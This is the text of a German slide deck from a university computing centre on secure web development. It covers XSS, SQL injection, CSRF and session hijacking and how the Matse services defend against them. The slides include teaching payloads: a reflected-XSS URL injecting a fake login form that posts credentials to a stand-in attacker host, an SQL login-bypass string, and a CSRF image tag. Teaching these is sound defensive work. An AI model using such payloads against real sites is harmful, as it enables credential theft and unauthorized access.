Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen Rechen- und Kommunikationszentrum (RZ) Inhaltsverzeichnis Motivation Angriffstechniken Ablauf/Vorgehen des Angreifers Abwehrmaßnahmen Matse-Dienste Überblick Abwehrmaßnahmen Fazit 2 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Motivation 3 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Motivation Verdeutlichung der Relevanz von Sicherheit Software- und Webentwickler Endbenutzer Überprüfung der Matse-Dienste auf Sicherheitslücken Sind eventuell welche vorhanden? Welche Sicherheitsvorkehrungen wurden getroffen ? 4 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Angriffstechniken 5 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Angriffstechniken Cross-Site-Scripting Ablauf Gegenmaßnahmen SQL Injection Cross-Site-Request-Forgery Session Hijacking 6 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Cross-Site-Scripting 7 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Cross-Site-Scripting (XSS) Manipulation einer Webseite durch HTML 3 Arten: 1. Reflektives XSS: Einmalige Interpretation der übermittelten HTML-Tags 2. Persistentes XSS: HTML-Code wird abgespeichert Dadurch Übermittelung der Daten an mehrere Personen/Browser 3. Lokales XSS: Der Browser lädt den Schadcode selber nach Verwendung des HTML-Tags <script> 8 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf Reflektives XSS Ausgangspunkt: URL: http://www.example.com/?search=test 9 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf Reflektives XSS Manipulierte Webseite: URL: http://www.example.com/?search=<br%2F>+Please+Login+to+ continue%3A+<form+action%3D„htttp://angreifer.de/attacke.php">+ Username%3A+<input+type%3D"text+name%3D„name">+ <br%2F>+Password%3A+<input+type%3D"text"+name%3D"pwd">+ <br%2F>+<input+type%3D"submit"+value%3D"Login">+ <%2Fform>+<br%2F> 10 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen Verhindern der Interpretation von ungewollten HTML-Tags Maskierung der eingegeben Daten PHP Funktion: htmlspecialchars() Dadurch Maskierung der HTML-Tags: <script> = &lt;script&gt; Ausgabe nach Verwendung von htmlspecialchars(): You searched for <br%2F>+Please+Login+to+continue%3A +<form+action%3D„http://www.angreifer.de/attacke.php">+Username%3A+<input+type%3D"text+name%3D"login">+ <br%2F>+Password%3A+<input+type%3D"text"+name%3D"pwd">+<br%2F>+<input+type%3D"submit"+ value%3D"Login">+<%2Fform>+<br%2F> 11 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum SQL Injection 12 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum SQL Injection Angriff auf Datenbanksysteme Benutzereingaben werden in Statement eingebettet Verwendung von SQL Statements durch Befehle wie: DROP UPDATE DELETE WHERE 13 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: SQL Injection Datenbanktabelle „user“ : 14 ID name password 1 Admin root123 2 ExampleUser passwd123 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf SQL Injection SQL Statement: SELECT id FROM user WHERE name='$name' AND password='$password'; Benutzer PC Eingabe: ExampleUser , passwd123 SELECT id FROM user WHERE name='ExampleUser' AND password='passwd123'; 15 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf SQL Injection SQL Statement: SELECT id FROM user WHERE name='$name' AND password='$password'; Angreifer PC Eingabe: ExampleUser , ' OR name='ExampleUser SELECT id FROM user WHERE name='ExampleUser' AND password='' OR name='ExampleUser'; 16 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen Verhindern der Interpretation von ungewollten SQL Befehlen Verwendung von Prepared Statements (vorbereitete Anweisungen mit Platzhaltern für Daten) $sql = 'SELECT * FROM beispiel WHERE name=:nachname'; $sth = $dbh->prepare($sql); $sth->bindValue(":nachname", $var); $sth->execute(); Statement wird mit Platzhaltern kompiliert SQL Befehle in Variablen werden nur eingefügt 17 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Cross-Site-Request-Forgery 18 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Cross-Site-Request-Forgery (CSRF) Gefälschte Anfrage erzwingen Angreifer schickt über den Browser des Benutzers eine Anfrage an den Webserver Manipulation einer Webseite durch HTML Manipulation einer Webseite damit die gefälschte Anfrage versendet wird 19 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf CSRF Besucher besitzt einen Account bei forum.de http://www.forum.de/login.php http://www.forum.de/logout.php Webserver evil.de Webserver forum.de http://www.evil.de <img src="http://www.forum.de/logout.php"> PC Status: Angemeldet Offline 20 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen Überprüfung der Anfrage: Generierung eines Schlüssels zur Identifikation Zufällige Zeichenkette Gilt entweder für einen Request oder gesamte Sitzung Vorhanden auf Server- sowie auf Clientseite 21 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen Besucher besitzt einen Account bei forum.de http://www.forum.de/login.php http://www.forum.de/logout.php Webserver evil.de Schlüssel='AdEzHdf..' Webserver forum.de KeinSchlüssel= Schlüssel 'AdEzHdf..' !!! http://www.evil.de <img src="http://www.forum.de/logout.php"> PC Status: Angemeldet Schlüssel='AdEzHdf..' 22 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Session Hijacking 23 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Session Hijacking Übernahme der Sitzung eines Benutzers Angreifer erlangt Zugriff auf Webapplikation Angreifer erhält Rechte des Benutzers Verwendung von Software wie z.B.Wireshark oder Firesheep 24 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf Session Hijacking Ungesichertes WLAN Netzwerk ID = ACF3... Kommunikation mit Login Session ID PC Session ID= ACF3D35F21… Webserver Abhören der ID Session ID= ACF3D35F21… Kommunikation mit Session ID PC ID = ACF3... 25 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen Verhindern des Auslesens der Sitzungsdaten Verschlüsseln der Informationen Dazu HTTPS ( Hypertext Transfer Protocol Secure) HTTPS: Verschlüsselung und Authentifizierung zwischen Webserver und Browser 26 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste 27 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Überblick Gegenmaßnahmen Cross-Site-Scripting Cross-Site-Request-Forgery Session Hijacking 28 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Überblick 29 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Überblick 30 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen Cross-Site-Scripting Session Hijacking Cross-Site-Request-Forgery 31 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehr Cross-Site-Scripting 32 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Abwehrmaßnahmen: Cross-Site-Scripting Trennung von Code und Ausgabe Verwendung von Template Engine Smarty (PHP-Bibliothek) Smarty 33 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehr Session Hijacking 34 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Abwehrmaßnahmen: Session Hijacking Kooperation mit der Benutzerverwaltungssoftware Shibboleth 35 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Abwehrmaßnahmen: Session Hijacking Ablauf Anmeldung: Benutzer führt ein Login bei Shibboleth durch Shibboleth authentifiziert den Benutzer und übermittelt Daten mittels HTTPS TIM-ID und über HTTPS generierte Sitzungs-ID 36 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehr Cross-Site-Request-Forgery 37 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Abwehrmaßnahmen: Cross-Site-Request-Forgery Matse-Dienste eigene CSRF-Klasse POST-Formular mit Hidden Feld und enthaltenem Token Generiert durch Webserver und dem Benutzer zugeteilt Ablauf: Browser schickt ein Formular ab Formular wird über mitgesendetes Token authentifiziert und abgearbeitet 38 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Fazit 39 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Fazit Erkenntnisse: 1. Viele Möglichkeiten Systeme zu kompromittieren 2. Vorgestellte Themen nur ein kleiner Anteil 3. Matse-Dienste soweit abgesichert Trotzdem: 1. Programme/Software werden weiterentwickelt Dadurch können neue Sicherheitslücken entstehen 2. 40 Neue Angriffstechniken entstehen Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Fazit Aspekt der Sicherheit kein einmaliger Faktor sondern ein dauerhafter Prozess der Analyse und Behebung 41 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Fragen ? 42 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum